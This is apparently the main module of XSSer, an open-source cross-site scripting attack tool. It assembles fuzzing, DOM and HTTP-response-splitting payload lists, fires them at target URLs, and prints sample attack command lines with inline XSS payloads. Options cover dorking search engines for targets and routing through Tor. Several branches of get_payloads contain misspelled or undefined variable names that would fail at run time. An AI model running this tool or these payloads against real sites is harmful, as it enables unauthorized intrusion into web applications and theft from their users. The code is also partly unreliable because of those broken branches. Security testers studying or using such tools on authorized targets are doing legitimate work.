main.py 209 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. import os, re, sys, datetime, hashlib, time, cgi, traceback, webbrowser, random
  19. try:
  20. import urllib.request, urllib.error, urllib.parse
  21. except:
  22. print ("\n[Info] XSSer no longer supports Python2: (https://www.python.org/doc/sunset-python-2/). Try to run the tool with Python3.x.y... (ex: python3 xsser)\n")
  23. sys.exit()
  24. from random import randint
  25. from base64 import b64encode, b64decode
  26. from http.cookies import SimpleCookie
  27. import core.fuzzing
  28. import core.fuzzing.vectors
  29. import core.fuzzing.DCP
  30. import core.fuzzing.DOM
  31. import core.fuzzing.HTTPsr
  32. import core.fuzzing.heuristic
  33. from collections import defaultdict
  34. from itertools import islice, chain
  35. from urllib.parse import parse_qs, urlparse
  36. from core.curlcontrol import Curl
  37. from core.encdec import EncoderDecoder
  38. from core.options import XSSerOptions
  39. from core.dork import Dorker
  40. from core.crawler import Crawler
  41. from core.imagexss import ImageInjections
  42. from core.flashxss import FlashInjections
  43. from core.post.xml_exporter import xml_reporting
  44. from core.tokenhub import HubThread
  45. from core.reporter import XSSerReporter
  46. from core.threadpool import ThreadPool, NoResultsPending
  47. from core.update import Updater
  48. # set to emit debug messages about errors (False = off).
  49. DEBUG = False
  50. class xsser(EncoderDecoder, XSSerReporter):
  51. """
  52. XSSer application class
  53. """
  54. def __init__(self, mothership=None):
  55. self._reporter = None
  56. self._reporters = []
  57. self._landing = False
  58. self._ongoing_requests = 0
  59. self._oldcurl = []
  60. self._gtkdir = None
  61. self._webbrowser = webbrowser
  62. self.crawled_urls = []
  63. self.checked_urls = []
  64. self.successful_urls = []
  65. self.urlmalformed = False
  66. self.search_engines = [] # available dorking search engines
  67. self.search_engines.append('bing') # [26/08/2019: OK!]
  68. self.search_engines.append('yahoo') # [26/08/2019: OK!]
  69. self.search_engines.append('startpage') # [26/08/2019: OK!]
  70. self.search_engines.append('duck') # [26/08/2019: OK!]
  71. #self.search_engines.append('google')
  72. #self.search_engines.append('yandex')
  73. self.user_template = None # wizard user template
  74. self.user_template_conntype = "GET" # GET by default
  75. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  76. if not mothership:
  77. # no mothership so *this* is the mothership
  78. # start the communications hub and rock on!
  79. self.hub = None
  80. self.pool = ThreadPool(0)
  81. self.mothership = None
  82. self.final_attacks = {}
  83. else:
  84. self.hub = None
  85. self.mothership = mothership
  86. self.mothership.add_reporter(self)
  87. self.pool = ThreadPool(0)
  88. self.final_attacks = self.mothership.final_attacks
  89. # initialize the url encoder/decoder
  90. EncoderDecoder.__init__(self)
  91. # your unique real opponent
  92. self.time = datetime.datetime.now()
  93. # this payload comes with vector already..
  94. self.DEFAULT_XSS_PAYLOAD = 'XSS'
  95. # to be or not to be...
  96. self.hash_found = []
  97. self.hash_notfound = []
  98. # other hashes
  99. self.hashed_injections={}
  100. self.extra_hashed_injections={}
  101. self.extra_hashed_vector_url = {}
  102. self.final_hashes = {} # final hashes used by each method
  103. # some counters for checker systems
  104. self.errors_isalive = 0
  105. self.next_isalive = False
  106. self.flag_isalive_num = 0
  107. self.rounds = 0
  108. self.round_complete = 0
  109. # some controls about targets
  110. self.urlspoll = []
  111. # some statistics counters for connections
  112. self.success_connection = 0
  113. self.not_connection = 0
  114. self.forwarded_connection = 0
  115. self.other_connection = 0
  116. # some statistics counters for payloads
  117. self.xsr_injection = 0
  118. self.xsa_injection = 0
  119. self.coo_injection = 0
  120. self.manual_injection = 0
  121. self.auto_injection = 0
  122. self.dcp_injection = 0
  123. self.dom_injection = 0
  124. self.httpsr_injection = 0
  125. self.check_positives = 0
  126. # some statistics counters for injections found
  127. self.xsr_found = 0
  128. self.xsa_found = 0
  129. self.coo_found = 0
  130. self.manual_found = 0
  131. self.auto_found = 0
  132. self.dcp_found = 0
  133. self.dom_found = 0
  134. self.httpsr_found = 0
  135. self.false_positives = 0
  136. # some statistics counters for heuristic parameters
  137. self.heuris_hashes = []
  138. self.heuris_backslash_found = 0
  139. self.heuris_une_backslash_found = 0
  140. self.heuris_dec_backslash_found = 0
  141. self.heuris_backslash_notfound = 0
  142. self.heuris_slash_found = 0
  143. self.heuris_une_slash_found = 0
  144. self.heuris_dec_slash_found = 0
  145. self.heuris_slash_notfound = 0
  146. self.heuris_mayor_found = 0
  147. self.heuris_une_mayor_found = 0
  148. self.heuris_dec_mayor_found = 0
  149. self.heuris_mayor_notfound = 0
  150. self.heuris_minor_found = 0
  151. self.heuris_une_minor_found = 0
  152. self.heuris_dec_minor_found = 0
  153. self.heuris_minor_notfound = 0
  154. self.heuris_semicolon_found = 0
  155. self.heuris_une_semicolon_found = 0
  156. self.heuris_dec_semicolon_found = 0
  157. self.heuris_semicolon_notfound = 0
  158. self.heuris_colon_found = 0
  159. self.heuris_une_colon_found = 0
  160. self.heuris_dec_colon_found = 0
  161. self.heuris_colon_notfound = 0
  162. self.heuris_doublecolon_found = 0
  163. self.heuris_une_doublecolon_found = 0
  164. self.heuris_dec_doublecolon_found = 0
  165. self.heuris_doublecolon_notfound = 0
  166. self.heuris_equal_found = 0
  167. self.heuris_une_equal_found = 0
  168. self.heuris_dec_equal_found = 0
  169. self.heuris_equal_notfound = 0
  170. # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
  171. self.verbose = 2
  172. self.options = None
  173. def __del__(self):
  174. if not self._landing:
  175. self.land()
  176. def get_gtk_directory(self):
  177. if self._gtkdir:
  178. return self._gtkdir
  179. local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
  180. 'gtk')
  181. if os.path.exists(local_path):
  182. self._gtkdir = local_path
  183. return self._gtkdir
  184. elif os.path.exists('/usr/share/xsser/gtk'):
  185. self._gtkdir = '/usr/share/xsser/gtk'
  186. return self._gtkdir
  187. def set_webbrowser(self, browser):
  188. self._webbrowser = browser
  189. def set_reporter(self, reporter):
  190. self._reporter = reporter
  191. def add_reporter(self, reporter):
  192. self._reporters.append(reporter)
  193. def remove_reporter(self, reporter):
  194. if reporter in self._reporters:
  195. self._reporters.remove(reporter)
  196. def generate_hash(self, attack_type='default'):
  197. """
  198. Generate a new hash for a type of attack.
  199. """
  200. date = str(datetime.datetime.now())
  201. encoded_hash = date + attack_type
  202. return hashlib.md5(encoded_hash.encode('utf-8')).hexdigest()
  203. def generate_numeric_hash(self): # 32 length as md5
  204. """
  205. Generate a new hash for numeric only XSS
  206. """
  207. newhash = ''.join(random.choice('0123456789') for i in range(32))
  208. return newhash
  209. def report(self, msg, level='info'):
  210. """
  211. Report some error from the application.
  212. levels: debug, info, warning, error
  213. """
  214. if self.verbose == 2:
  215. prefix = ""
  216. if level != 'info':
  217. prefix = "["+level+"] "
  218. print(msg)
  219. elif self.verbose:
  220. if level == 'error':
  221. sys.stdout.write("*")
  222. else:
  223. sys.stdout.write(".")
  224. for reporter in self._reporters:
  225. reporter.post(msg)
  226. if self._reporter:
  227. from twisted.internet import reactor
  228. reactor.callFromThread(self._reporter.post, msg)
  229. def set_options(self, options):
  230. """
  231. Set xsser options
  232. """
  233. self.options = options
  234. self._opt_request()
  235. def _opt_request(self):
  236. """
  237. Pass on some properties to Curl
  238. """
  239. options = self.options
  240. for opt in ['cookie', 'agent', 'referer',\
  241. 'headers', 'atype', 'acred', 'acert',
  242. 'proxy', 'ignoreproxy', 'timeout',
  243. 'delay', 'tcp_nodelay', 'retries',
  244. 'xforw', 'xclient', 'threads',
  245. 'dropcookie', 'followred', 'fli',
  246. 'nohead', 'isalive', 'alt', 'altm',
  247. 'ald'
  248. ]:
  249. if hasattr(options, opt) and getattr(options, opt):
  250. setattr(Curl, opt, getattr(options, opt))
  251. def get_payloads(self):
  252. """
  253. Process payload options and make up the payload list for the attack.
  254. """
  255. options = self.options
  256. # payloading sources for --auto
  257. payloads_fuzz = core.fuzzing.vectors.vectors
  258. if options.fzz_info or options.fzz_num or options.fzz_rand and not options.fuzz:
  259. self.options.fuzz = True
  260. # set a type for XSS auto-fuzzing vectors
  261. if options.fzz_info:
  262. fzz_payloads = []
  263. for fuzz in payloads_fuzz:
  264. if not fuzz["browser"] == "[Not Info]":
  265. fzz_payloads.append(fuzz)
  266. payloads_fuzz = fzz_payloads
  267. # set a limit for XSS auto-fuzzing vectors
  268. if options.fzz_num:
  269. try:
  270. options.fzz_num = int(options.fzz_num)
  271. except:
  272. options.fzz_num = len(payloads_fuzz)
  273. fzz_num_payloads = []
  274. fzz_vector = 0
  275. for fuzz in payloads_fuzz:
  276. fzz_vector = fzz_vector + 1
  277. if int(fzz_vector) < int(options.fzz_num)+1:
  278. fzz_num_payloads.append(fuzz)
  279. payloads_fuzz = fzz_num_payloads
  280. # set random order for XSS auto-fuzzing vectors
  281. if options.fzz_rand:
  282. try:
  283. from random import shuffle
  284. shuffle(payloads_fuzz) # shuffle paylods
  285. except:
  286. pass
  287. payloads_dcp = core.fuzzing.DCP.DCPvectors
  288. payloads_dom = core.fuzzing.DOM.DOMvectors
  289. payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
  290. manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
  291. # sustitute payload for hash to check for false positives
  292. self.hashed_payload = "XSS"
  293. checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
  294. # heuristic parameters
  295. heuristic_params = core.fuzzing.heuristic.heuristic_test
  296. def enable_options_heuristic(payloads):
  297. if options.heuristic:
  298. payloads = heuristic_params + payloads
  299. if options.dom:
  300. payloads = payloads + payloads_dom
  301. return payloads
  302. if options.fuzz:
  303. payloads = payloads_fuzz
  304. if options.dcp:
  305. payloads = payloads + payloads_dcp
  306. if options.script:
  307. payloads = payloads + manual_payload
  308. if options.hash:
  309. payloads = checker_payload + payloads
  310. if options.inducedcode:
  311. payloads = payloads + payloads_httpsr
  312. if options.heuristic:
  313. payloads = heuristic_params + payloads
  314. if options.dom:
  315. payloads = payloads + payloads_dom
  316. elif options.inducedcode:
  317. payloads = payloads + payloads_httpsr
  318. if options.heuristic:
  319. payloads = heuristic_params + payloads
  320. if options.dom:
  321. payloads = payloads + payloads_dom
  322. elif options.dom:
  323. payloads = payloads + payloads_dom
  324. elif options.heuristic:
  325. payloads = heuristic_params + payloads
  326. if options.dom:
  327. payloads = payloads + payloads_dom
  328. elif options.dom:
  329. payloads = payloads + payloads_dom
  330. elif options.hash:
  331. payloads = checker_payload + payloads
  332. if options.inducedcode:
  333. payloads = payloads + payloads_httpsr
  334. if options.heuristic:
  335. payloads = heuristic_params + payloads
  336. if options.dom:
  337. payloads = payloads + payloads_dom
  338. elif options.dom:
  339. payloads = payloads + payloads_dom
  340. elif options.inducedcode:
  341. payloads = payloads + payloads_httpsr
  342. if options.heuristic:
  343. payloads = heuristic_params + payloads
  344. if options.dom:
  345. payloads = payloads + payloads_dom
  346. elif options.dom:
  347. payloads = payloads + payloads_dom
  348. elif options.script:
  349. payloads = payloads + manual_payload
  350. if options.hash:
  351. payloads = checker_payload + payloads
  352. if options.inducedcode:
  353. payloads = payaloads + payloads_httpsr
  354. if options.heuristic:
  355. payloads = heuristic_params + payloads
  356. if options.dom:
  357. payloads = payloads + payloads_dom
  358. elif options.hash:
  359. payloads = checker_payload + payloads
  360. if options.inducedcode:
  361. payloads = payloads + payloads_httpsr
  362. if options.heuristic:
  363. payloads = heuristic_params + payloads
  364. if options.dom:
  365. payloads = payloads + payloads_dom
  366. elif options.dom:
  367. payloads = payloads + payloads_dom
  368. elif options.heuristic:
  369. payloads = heuristic_params + payloads
  370. if options.dom:
  371. payloads = payloads + payloads_dom
  372. elif options.dom:
  373. payloads = payloads + payloads_dom
  374. elif options.inducedcode:
  375. payloads = payloads + payloads_httpsr
  376. if options.hash:
  377. payloads = checker_payload + payloads
  378. if options.heuristic:
  379. payloads = heuristic_params + payloads
  380. if options.dom:
  381. payloads = payloads + payloads_dom
  382. elif options.dom:
  383. payloads = payloads + payloads_dom
  384. elif options.heuristic:
  385. payloads = heuristic_params + payloads
  386. if options.dom:
  387. payloads = payloads + payloads_dom
  388. elif options.dom:
  389. payloads = payloads + payloads_dom
  390. elif options.dcp:
  391. payloads = payloads_dcp
  392. if options.script:
  393. payloads = payloads + manual_payload
  394. if options.hash:
  395. payloads = checker_payload + payloads
  396. if options.inducedcode:
  397. payloads = payloads + payloads_httpsr
  398. if options.heuristic:
  399. payloads = heuristic_params + payloads
  400. if options.dom:
  401. payloads = payloads + payloads_dom
  402. elif options.hash:
  403. payloads = checker_payload + payloads
  404. if options.inducedcode:
  405. payloads = payloads + inducedcode
  406. if options.heuristic:
  407. payloads = heuristic_params + payloads
  408. if options.dom:
  409. payloads = payloads + payloads_dom
  410. elif options.dom:
  411. payloads = payloads + payloads_dom
  412. elif options.inducedcode:
  413. payloads = payloads + payloads_httpsr
  414. if options.heuristic:
  415. payloads = heuristic_params + payloads
  416. if options.dom:
  417. payloads = payloads + payloads_dom
  418. elif options.dom:
  419. payloads = payloads + payloads_dom
  420. elif options.heuristic:
  421. payloads = heuristic_params + payloads
  422. if options.dom:
  423. payloads = payloads + payloads_dom
  424. elif options.dom:
  425. payloads = payloads + payloads_dom
  426. elif options.script:
  427. payloads = manual_payload
  428. if options.hash:
  429. payloads = checker_payload + payloads
  430. if options.inducedcode:
  431. payloads = payloads + payloads_httpsr
  432. if options.heuristic:
  433. payloads = heuristic_params + payloads
  434. if options.dom:
  435. payloads = payloads + payloads_dom
  436. elif options.inducedcode:
  437. payloads = payloads + payloads_httpsr
  438. if options.heuristic:
  439. payloads = heuristic_params + payloads
  440. if options.dom:
  441. payloads = payloads + payloads_dom
  442. elif options.dom:
  443. payloads = payloads + payloads_dom
  444. elif options.heuristic:
  445. payloads = heuristic_params + payloads
  446. if options.dom:
  447. paylaods = payloads + payloads_dom
  448. elif options.dom:
  449. payloads = payloads + payloads_dom
  450. elif options.inducedcode:
  451. payloads = payloads_httpsr
  452. if options.hash:
  453. payloads = checker_payload + payloads
  454. if options.heuristic:
  455. payloads = heuristic_params + payloads
  456. if options.dom:
  457. payloads = payloads + payloads_dom
  458. elif options.heuristic:
  459. payloads = heuristic_params + payloads
  460. if options.dom:
  461. payloads = payloads + payloads_dom
  462. elif options.dom:
  463. payloads = payloads + payloads_dom
  464. elif options.heuristic:
  465. payloads = heuristic_params
  466. if options.hash:
  467. payloads = checker_payload + payloads
  468. if options.dom:
  469. payloads = payloads + payloads_dom
  470. elif options.dom:
  471. payloads = payloads + payloads_dom
  472. elif options.dom:
  473. payloads = payloads_dom
  474. elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
  475. payloads = [{"payload":'">PAYLOAD',
  476. "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
  477. }]
  478. else:
  479. payloads = checker_payload
  480. return payloads
  481. def process_ipfuzzing(self, text):
  482. """
  483. Mask ips in given text to DWORD
  484. """
  485. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  486. for ip in ips:
  487. text = text.replace(ip, str(self._ipDwordEncode(ip)))
  488. return text
  489. def process_ipfuzzing_octal(self, text):
  490. """
  491. Mask ips in given text to Octal
  492. """
  493. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  494. for ip in ips:
  495. text = text.replace(ip, str(self._ipOctalEncode(ip)))
  496. return text
  497. def process_payloads_ipfuzzing(self, payloads):
  498. """
  499. Mask ips for all given payloads using DWORD
  500. """
  501. # ip fuzzing (DWORD)
  502. if self.options.Dwo:
  503. resulting_payloads = []
  504. for payload in payloads:
  505. payload["payload"] = self.process_ipfuzzing(payload["payload"])
  506. resulting_payloads.append(payload)
  507. return resulting_payloads
  508. return payloads
  509. def process_payloads_ipfuzzing_octal(self, payloads):
  510. """
  511. Mask ips for all given payloads using OCTAL
  512. """
  513. # ip fuzzing (OCTAL)
  514. if self.options.Doo:
  515. resulting_payloads = []
  516. for payload in payloads:
  517. payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
  518. resulting_payloads.append(payload)
  519. return resulting_payloads
  520. return payloads
  521. def get_query_string(self):
  522. """
  523. Get the supplied query string.
  524. """
  525. if self.options.postdata:
  526. return self.options.postdata
  527. elif self.options.getdata:
  528. return self.options.getdata
  529. return ""
  530. def attack_url(self, url, payloads, query_string):
  531. """
  532. Attack the given url checking or not if is correct.
  533. """
  534. if not self.options.nohead:
  535. for payload in payloads:
  536. self.rounds = self.rounds + 1
  537. self.attack_url_payload(url, payload, query_string)
  538. else:
  539. hc = Curl()
  540. try:
  541. urls = hc.do_head_check([url])
  542. except:
  543. self.report("[Error] Target URL: (" + url + ") is malformed!" + " [DISCARDED]" + "\n")
  544. return
  545. self.report("-"*50 + "\n")
  546. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  547. if str(hc.info()["http-code"]) in ["301"]:
  548. url = str(hc.info()["Location"])
  549. payload = ""
  550. query_string = ""
  551. elif str(hc.info()["http-code"]) in ["302"]:
  552. url = url + "/"
  553. payload = ""
  554. query_string = ""
  555. self.success_connection = self.success_connection + 1
  556. self.report("[Info] HEAD-CHECK: OK! [HTTP-" + hc.info()["http-code"] + "] -> [AIMED]\n")
  557. for payload in payloads:
  558. self.attack_url_payload(url, payload, query_string)
  559. else:
  560. if str(hc.info()["http-code"]) in ["405"]:
  561. self.report("[Info] HEAD-CHECK: NOT ALLOWED! [HTTP-" + hc.info()["http-code"] + "] -> [PASSING]\n")
  562. self.success_connection = self.success_connection + 1
  563. for payload in payloads:
  564. self.attack_url_payload(url, payload, query_string)
  565. else:
  566. self.not_connection = self.not_connection + 1
  567. self.report("[Error] HEAD-CHECK: FAILED! [HTTP-" + hc.info()["http-code"] + "] -> [DISCARDED]\n")
  568. self.report("-"*50 + "\n")
  569. def not_keyword_exit(self):
  570. self.report("="*30)
  571. self.report("\n[Error] XSSer cannot find a correct place to start an attack. Aborting!...\n")
  572. self.report("-"*25)
  573. self.report("\n[Info] This is because you aren't providing:\n\n At least one -payloader- using a keyword: 'XSS' (for hex.hash) or 'X1S' (for int.hash):\n")
  574. self.report(" - ex (GET): xsser -u 'https://target.com' -g '/path/profile.php?username=bob&surname=XSS&age=X1S&job=XSS'")
  575. self.report(" - ex (POST): xsser -u 'https://target.com/login.php' -p 'username=bob&password=XSS&captcha=X1S'\n")
  576. self.report(" Any extra attack(s) (Xsa, Xsr, Coo, Dorker, Crawler...):\n")
  577. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/path/id.php?=2' --Coo")
  578. self.report(" - ex (POST+XSA+XSR+Cookie): xsser -u 'https://target.com/login.php' -p 'username=admin&password=admin' --Xsa --Xsr --Coo")
  579. self.report(" - ex (Dorker): xsser -d 'news.php?id=' --Da")
  580. self.report(" - ex (Crawler): xsser -u 'https://target.com' -c 100 --Cl\n")
  581. self.report(" Or a mixture:\n")
  582. self.report(" - ex (GET+Manual): xsser -u 'https://target.com' -g '/users/profile.php?user=XSS&salary=X1S' --payload='<script>alert(XSS);</script>'")
  583. self.report(" - ex (POST+Manual): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --payload='}}%%&//<sc&ri/pt>(XSS)--;>'\n")
  584. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/login.asp?user=bob&password=XSS' --Coo")
  585. self.report(" - ex (POST+XSR+XSA): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --Xsr --Xsa\n")
  586. self.report("="*75 + "\n")
  587. if not self.options.xsser_gtk:
  588. sys.exit(2)
  589. else:
  590. pass
